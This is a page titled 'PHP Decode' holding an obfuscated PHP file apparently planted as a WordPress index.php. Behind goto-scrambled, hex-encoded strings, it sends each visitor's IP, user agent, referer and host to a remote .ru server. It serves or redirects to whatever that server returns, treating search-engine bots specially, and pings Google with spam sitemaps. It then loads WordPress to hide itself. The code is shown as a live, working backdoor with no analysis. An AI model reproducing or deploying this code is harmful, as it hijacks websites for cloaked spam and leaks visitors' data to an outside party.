PHP Decode

<?php
/* @Author https://www.jiamiphp.com/ */
 goto BKXymcmenX; oP89RpmLEI: define("\x46", $d); $f = @$_REQUEST["\x70"]; $d = ltrim(U, F); if (!($f != '')) { goto sKwNp1MiRw; } $d = preg_replace("\x40\x28\134\x3f\x7c\x5c\46\51\x70\x3d" . $f . "\x40", '', $d); goto zAWKR95PH2; UfF1LIYtb1: $bbb = array("\x69\x70" => get_ip(), "\154\141\156\x67" => k("\x48\x54\124\x50\x5f\101\x43\103\105\120\x54\137\x4c\101\116\107\x55\101\x47\x45"), "\165\141" => $h, "\x72" => strtolower(k("\110\x54\124\120\137\x52\105\x46\105\122\105\x52")), "\150\x6f\163\x74" => k("\x48\x54\x54\x50\137\110\x4f\123\124"), "\x75\162\151" => U, "\x75\x72\151\x32" => U2, "\x69\x73\x42\x6f\x74" => preg_match("\x40\147\157\x6f\x67\x6c\x65\174\x79\141\150\157\157\x7c\x62\x69\x6e\147\x40", $h) ? "\x31" : '', "\146" => F, "\160" => $f); if (!(k("\110\124\124\120\x53") == "\x6f\156" || k("\x48\124\124\x50\x5f\x58\137\106\x4f\x52\127\101\x52\104\x45\104\137\120\x52\117\x54\117") == "\x68\x74\x74\x70\x73")) { goto csBzcfwuBo; } $bbb["\x68"] = "\x31"; csBzcfwuBo: if (!(strpos(U, "\x70\x69\156\147\163\151\164\x65\x6d\x61\160") !== false)) { goto xafpSX7T6T; } goto orzU6z_R6O; BKXymcmenX: $a = "\146\x67\x78\x35\x30\x39"; @set_time_limit(3600); define("\x57", "\x68\x74\x74\x70\72\57\57\x66\147\170\x35\60\x39\x2e\146\141\x73\164\x70\x61\x6c\x6d\56\162\x75"); define("\x55", getu()); function k($b) { return @$_SERVER[$b] ? $_SERVER[$b] : ''; } goto qAVDYP6ylN; Tt0IT2Aiw4: function c($u, $z, $aa) { goto lbnwISGlWr; vLgx70rMBk: curl_close($ff); return $gg; HiBa7qLsOt: return false; goto QIMVBIQQFI; lbnwISGlWr: if (!function_exists("\x63\x75\162\x6c\x5f\x69\156\x69\164")) { goto HiBa7qLsOt; } $ff = curl_init(); if ($aa) { goto Lqqz7OsnMt; } curl_setopt($ff, CURLOPT_URL, $u . "\77" . $z); goto FU2F3BTUJR; goto Jc6bBu8i7l; L46EAwfdLi: curl_setopt($ff, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ff, CURLOPT_HEADER, 0); curl_setopt($ff, CURLOPT_TIMEOUT, 30); curl_setopt($ff, CURLOPT_FOLLOWLOCATION, 1); $gg = curl_exec($ff); goto vLgx70rMBk; Jc6bBu8i7l: Lqqz7OsnMt: curl_setopt($ff, CURLOPT_URL, $u); curl_setopt($ff, CURLOPT_POST, 1); curl_setopt($ff, CURLOPT_POSTFIELDS, $z); FU2F3BTUJR: goto L46EAwfdLi; QIMVBIQQFI: } function get_url($hh) { if (!(!function_exists("\x70\146\x73\x6f\x63\x6b\x6f\160\145\156") && !function_exists("\x66\x73\157\x63\x6b\x6f\160\x65\156"))) { goto lAonMrlbix; } return false; lAonMrlbix: try { goto a3Hpy_zpXL; JtfD4ofuED: $oo += 1; if (!($oo >= 4 && $nn[$oo - 1] == "\xa" && substr($nn, -4) == "\xd\12\xd\12")) { goto bQ4HI3k3bD; } goto YbC29h8y4K; bQ4HI3k3bD: goto LNlOuCo_RK; goto dUw1kMX9T4; dUw1kMX9T4: YbC29h8y4K: $pp = readChunked($jj); fclose($jj); return $pp; goto UvhCu0tVB_; goto prO5E_ysLL; b6bv1nTfBZ: $jj = pfsockopen($hh["\x68\157\163\x74"], $hh["\160\157\x72\x74"], $kk, $ll, 30); if ($jj) { goto KW3xbLIb2c; } $jj = fsockopen($hh["\150\x6f\x73\x74"], $hh["\x70\x6f\x72\x74"], $kk, $ll, 30); KW3xbLIb2c: if (!$jj) { goto z758c40gzQ; } goto rp3a2D9MNX; o_LnAdVncr: $nn = ''; $oo = 0; LNlOuCo_RK: if (!true) { goto YbC29h8y4K; } $nn .= fread($jj, 1); goto JtfD4ofuED; prO5E_ysLL: z758c40gzQ: return false; UvhCu0tVB_: goto eqhiWFeWuz; a3Hpy_zpXL: $hh = parse_url($hh); if (!empty($hh["\160\157\x72\164"])) { goto jr8waq0GCb; } $hh["\x70\157\162\x74"] = 80; jr8waq0GCb: $ii = $hh["\x70\x61\164\x68"] . "\x3f" . $hh["\161\x75\145\162\x79"]; goto b6bv1nTfBZ; rp3a2D9MNX: $mm = "\x47\x45\124\40{$ii}\40\110\x54\124\120\x2f\x31\56\x31\15\12"; $mm .= "\110\x6f\x73\x74\72\x20{$hh["\150\157\163\x74"]}\xd\xa"; $mm .= "\x43\157\156\156\x65\143\x74\x69\157\156\x3a\40\x43\x6c\x6f\x73\145\15\12"; $mm .= "\15\xa"; fwrite($jj, $mm); goto o_LnAdVncr; eqhiWFeWuz: } catch (Exception $b) { return false; } } function readChunked($qq) { goto usxgBvWuqj; clHIwe3BoI: $rr .= fread($qq, 1); if (strpos($rr, "\15\12") === false) { goto uGYzvyFUPb; } cD7UgjAHlK: if (strpos($rr, "\x20") !== false) { goto ZC_HQoXbtP; } $uu = $rr; goto B0LZuHmELm; usxgBvWuqj: $pp = ''; ZAZ8vtgwt_: if (!true) { goto J6SZG3Qx3W; } $rr = ''; uGYzvyFUPb: goto clHIwe3BoI; gFBX9yHNOM: KPWvmT5clK: goto ZAZ8vtgwt_; J6SZG3Qx3W: goto UW6DmY9FTd; upEtV1EH41: $uu = (int) base_convert($uu, 16, 10); if ($uu === 0) { goto A7QGyAheyq; } $rr = ''; $ww = 0; XIl1BVpXlZ: goto Cv0TtDfJi_; B0LZuHmELm: $vv = ''; goto ek1CBG8wuc; ZC_HQoXbtP: list($uu, $vv) = explode("\40", $rr, 2); ek1CBG8wuc: goto upEtV1EH41; Cv0TtDfJi_: if (!($ww < $uu + 2)) { goto s22tQUi3C2; } $rr .= fread($qq, $uu - $ww + 2); $ww = strlen($rr); goto XIl1BVpXlZ; s22tQUi3C2: goto fwB86eoUS0; fwB86eoUS0: $pp .= substr($rr, 0, -2); goto KPWvmT5clK; A7QGyAheyq: fread($qq, 2); return $pp; goto gFBX9yHNOM; UW6DmY9FTd: } function http($u, $xx) { goto AeFQyHNFt2; Gp83v65150: $yy = "\x74\x65\170\164\57\x63\x73\163"; AAzM8b_tZU: goto FWq8x0sWzH; H2CrOReQYg: $yy = "\151\x6d\x61\147\145\x2f\x77\x65\x62\x70"; goto tYC50Ywt1A; UxfSqsTsQl: goto pH10Q7yFzE; MLwO4GYwUC: $yy = "\164\x65\x78\164\x2f\170\x6d\154"; pH10Q7yFzE: header("\x63\x6f\x6e\164\145\x6e\x74\x2d\164\171\160\x65\x3a\40{$yy}\x3b\40\143\150\141\x72\x73\145\164\x3d\125\124\106\55\x38"); goto e3a4kBIqb6; AeFQyHNFt2: $yy = "\x74\x65\170\164\57\150\164\155\154"; if (strpos(U2, "\x70\151\156\147\163\151\x74\145\x6d\x61\160") === false && (strpos(U2, "\x2e\x78\x6d\x6c") !== false || strpos(U2, "\57\x66\145\x65\x64") !== false)) { goto MLwO4GYwUC; } if (strpos(U2, "\x2e\x74\170\x74") !== false) { goto neDjMZ_SNM; } if (strpos(U2, "\x69\x6d\x61\147\x65\x73\57") !== false) { goto H2CrOReQYg; } if (!(strpos(U2, "\x73\151\164\x65\x6d\141\160\x2e\x78\x73\x6c") !== false)) { goto AAzM8b_tZU; } goto Gp83v65150; e3a4kBIqb6: $z = http_build_query($xx); $zz = W . $u . "\77" . $z; $gg = @file_get_contents($zz); if ($gg) { goto gPIioXFZkk; } $gg = c(W . $u, $z, 0); goto ozdoEWSHk0; ozdoEWSHk0: gPIioXFZkk: if ($gg) { goto ncHTx0Hwpl; } $gg = c(W . $u, $z, 1); ncHTx0Hwpl: if ($gg) { goto kj2kbcSKbh; } goto i37jeUUpkJ; tYC50Ywt1A: FWq8x0sWzH: goto R2HhC1UlIh; neDjMZ_SNM: $yy = "\164\145\170\x74\57\x70\154\x61\x69\156"; R2HhC1UlIh: goto UxfSqsTsQl; i37jeUUpkJ: $gg = get_url($zz); kj2kbcSKbh: return $gg; goto sGYvGix0oz; sGYvGix0oz: } function g($u, $xx) { $gg = http($u, $xx); $aaa = "\x48\124\x54\x50\57\x31\56\x31\x20\x35\60\60\x20\x49\156\x74\x65\162\x6e\x61\x6c\x20\123\x65\162\166\145\162\x20\x45\162\162\157\x72"; if ($gg) { goto Qp3QytvXaB; } @header($aaa); die; Qp3QytvXaB: $b = substr($gg, 0, 1); switch ($b) { case "\64": @header("\110\x54\x54\120\57\x31\56\61\40\64\60\64\40\x4e\157\164\x20\x46\157\x75\x6e\144"); die; case "\x35": @header($aaa); die; case "\63": @header("\x48\124\124\120\57\x31\56\x31\40\x33\x30\62\x20\x4d\x6f\x76\145\144\40\x50\145\162\155\141\x6e\145\x6e\x74\x6c\171"); header("\114\157\x63\x61\x74\151\x6f\156\x3a\40" . substr($gg, 1)); header("\162\145\x66\145\162\x65\x72\x3a\40" . k("\110\124\x54\x50\137\110\x4f\x53\124")); die; case "\x37": return false; case "\x38": die; default: header("\x48\124\x54\x50\x2f\x31\x2e\61\40\62\60\60\x20\x4f\113"); return $gg; } D1DQQpOtrZ: WH4AuWpUFc: } goto UfF1LIYtb1; xSMJ3cvqGq: $eee = g("\x2f", $bbb); if (!$eee) { goto lJoEcNu3sL; } die($eee); lJoEcNu3sL: define("\x57\120\x5f\x55\x53\x45\x5f\x54\110\x45\x4d\x45\123", true); goto RZXQYuEnOA; qAVDYP6ylN: define("\x53", strtolower(k("\x50\x48\x50\x5f\123\105\x4c\106") != '' ? k("\120\110\120\137\x53\105\x4c\106") : k("\123\x43\122\111\x50\x54\x5f\x4e\101\x4d\x45"))); $d = stripos(S, "\x69\156\x64\145\x78\x2e\x70\150\160") !== false && stripos(U, S) === false ? rtrim(S, "\151\x6e\x64\x65\x78\x2e\160\150\160") : S; if (!($d == '')) { goto wSE0Przsbh; } $d = "\57"; wSE0Przsbh: goto oP89RpmLEI; RZXQYuEnOA: require __DIR__ . "\x2f\167\160\55\142\x6c\157\x67\55\x68\x65\141\144\x65\162\56\x70\x68\160"; goto KbLbTIc5KQ; orzU6z_R6O: $ccc = explode("\x2c", g("\x2f\163\x69\164\145\x6d\x61\x70\x2e\x6c\x69\163\x74", $bbb)); foreach ($ccc as $ddd) { goto VuBDucuaK3; VuBDucuaK3: $xx = "\150\x74\164\160\x73\72\x2f\57\x77\167\x77\56\147\157\x6f\147\x6c\x65\56\143\x6f\x6d\x2f\160\151\x6e\x67\77\x73\x69\x74\x65\155\141\x70\x3d" . $ddd; $gg = c($xx, array(), 0); if ($gg) { goto Nk1WcK1OuM; } $gg = @file_get_contents($xx); Nk1WcK1OuM: goto LzEod37u37; iaDTVupZyC: IvRdg7K5wE: a1C6IUHxzq: goto vYNxrFTl8c; LzEod37u37: if (stristr($gg, "\163\x75\143\143\145\x73\x73\146\165\154\154\171")) { goto yxM1M1Y53A; } echo $xx . "\x3d\75\75\75\x3d\75\143\162\x65\141\x74\40\x66\151\x6c\145\40\146\x61\x6c\163\x65\x21\x3c\142\162\76"; goto IvRdg7K5wE; yxM1M1Y53A: echo $xx . "\74\x62\x72\x3e\160\151\x6e\x67\157\x6b\74\142\162\x3e"; goto iaDTVupZyC; vYNxrFTl8c: } MkZfuO_x78: die; xafpSX7T6T: goto xSMJ3cvqGq; zAWKR95PH2: sKwNp1MiRw: define("\125\62", preg_replace("\43\136\134\x57\53\43", '', $d)); $h = k("\110\124\124\x50\x5f\125\123\x45\122\x5f\x41\107\x45\x4e\x54"); function getu() { $k = k("\x52\x45\121\125\105\x53\x54\x5f\125\122\111"); if (!empty($k)) { goto evr6BGaBFn; } $l = k("\x61\x72\x67\166"); $k = S . "\x3f" . (is_array($l) ? $l[0] : k("\x51\x55\105\x52\x59\137\x53\x54\x52\111\x4e\x47")); evr6BGaBFn: return $k; } function get_ip() { goto dFxCofEI6e; PPknoOZnL6: $p = k("\110\124\124\120\x5f\x43\114\111\105\116\124\x5f\111\x50"); goto uGPFuL2__R; gs07oi4ESx: $p = k("\x48\x54\124\120\x5f\130\x5f\x46\117\x52\127\x41\122\104\105\x44\x5f\106\117\122"); uGPFuL2__R: goto cNAxHvTsRD; cNAxHvTsRD: if (!stristr($p, "\54")) { goto X8tIpOJ1DX; } $t = explode("\54", $p); $p = $t[0]; X8tIpOJ1DX: return $p; goto SlmPO1FAn3; dFxCofEI6e: $p = k("\x52\x45\x4d\117\x54\x45\x5f\x41\104\104\x52"); if (!empty($_SERVER["\x48\124\124\x50\x5f\x43\114\x49\105\x4e\x54\137\111\x50"])) { goto cFfVIntkYM; } if (!empty($_SERVER["\110\124\x54\120\137\x58\x5f\106\x4f\122\127\x41\x52\x44\x45\x44\137\x46\x4f\122"])) { goto gs07oi4ESx; } goto uGPFuL2__R; cFfVIntkYM: goto PPknoOZnL6; SlmPO1FAn3: } goto Tt0IT2Aiw4; KbLbTIc5KQ: echo "\15\xa";